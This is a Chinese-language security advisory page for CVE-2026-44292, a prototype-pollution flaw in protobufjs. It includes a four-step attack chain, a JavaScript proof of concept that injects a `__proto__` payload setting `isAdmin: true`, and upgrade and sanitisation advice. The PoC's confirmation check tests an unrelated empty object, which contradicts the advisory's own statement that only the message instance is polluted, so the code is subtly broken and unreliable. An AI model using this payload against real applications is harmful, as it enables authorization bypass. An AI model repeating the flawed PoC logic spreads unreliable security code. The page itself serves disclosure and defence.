IPBUF安全漏洞报告
English
CVE-2026-44292 CVSS 5.3 中危

CVE-2026-44292 protobufjs原型污染漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44292
漏洞类型
原型污染
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
protobufjs

相关标签

原型污染protobufjsCVE-2026-44292JavaScript

漏洞概述

protobufjs 在 7.5.6 和 8.0.2 版本之前存在安全漏洞。其生成的消息构造函数在从属性对象复制可枚举属性时,未对 `__proto__` 键进行过滤。如果应用程序使用攻击者控制的普通对象来构造消息,攻击者可以通过注入 `__proto__` 属性来污染该消息实例的原型,从而可能导致应用程序逻辑异常或绕过安全检查。

技术细节

该漏洞源于 JavaScript 的原型链机制以及不安全的对象属性复制操作。在 JavaScript 中,`__proto__` 是对象实例用于继承原型的特殊属性。protobufjs 库在生成消息构造函数时,使用了类似 `for (var key in payload) { message[key] = payload[key]; }` 的逻辑来复制属性。由于代码未对 `key` 进行校验,当攻击者传入一个包含 `__proto__` 属性的对象时,该属性会被赋值操作触发,导致当前消息实例的原型被修改为攻击者指定的对象。这种原型污染可能影响后续对该对象或其关联对象的属性访问逻辑,若结合应用代码中的特定操作(如属性存在性检查、权限判断),可能导致更严重的安全后果。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了存在漏洞的 protobufjs 版本(< 7.5.6 或 < 8.0.2),并找到了接受用户输入用于构造 protobuf 消息的接口。
STEP 2
载荷构造
攻击者构造一个恶意的 JSON 对象,其中包含合法的业务数据字段,同时混入 `__proto__` 字段,并将该字段的值设置为包含恶意属性(如权限标识、配置覆盖)的对象。
STEP 3
漏洞利用
攻击者将构造好的恶意数据发送给目标应用程序。应用程序使用 protobufjs 解析数据并调用 `create` 方法生成消息实例。
STEP 4
原型污染与影响
protobufjs 在复制属性时触发了原型污染,修改了消息实例的原型链。如果应用程序后续对该实例或全局对象进行属性访问(如检查权限),可能会读取到被污染的值,导致逻辑绕过或状态篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// This PoC demonstrates prototype pollution in protobufjs < 7.5.6 / < 8.0.2 // Prerequisite: npm install [email protected] const protobuf = require("protobufjs"); // 1. Define a simple protobuf message type const root = protobuf.parse("message User { string name = 1; int32 age = 2; }").root; const UserType = root.lookupType("User"); // 2. Attacker-controlled payload containing __proto__ // The goal is to inject 'isAdmin' into the prototype const maliciousPayload = { name: "attacker", age: 25, "__proto__": { isAdmin: true } }; // 3. Create the message instance using the vulnerable library console.log("[*] Creating message from malicious payload..."); const userMessage = UserType.create(maliciousPayload); // 4. Verify the prototype pollution // Create an empty object to check if it inherits the polluted property const testObject = {}; if (testObject.isAdmin === true) { console.log("[+] VULNERABILITY CONFIRMED: Prototype pollution successful!"); console.log(" Empty object 'isAdmin' property:", testObject.isAdmin); } else { console.log("[-] Target appears patched or not vulnerable."); }

影响范围

protobufjs < 7.5.6
protobufjs < 8.0.2

防御指南

临时缓解措施
建议立即升级至官方修复版本。如果无法立即升级,应在代码层面对传入 protobufjs 解析函数的对象进行清洗,使用 `Object.defineProperty` 或白名单机制确保不复制 `__proto__` 属性,从而阻断原型污染链。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表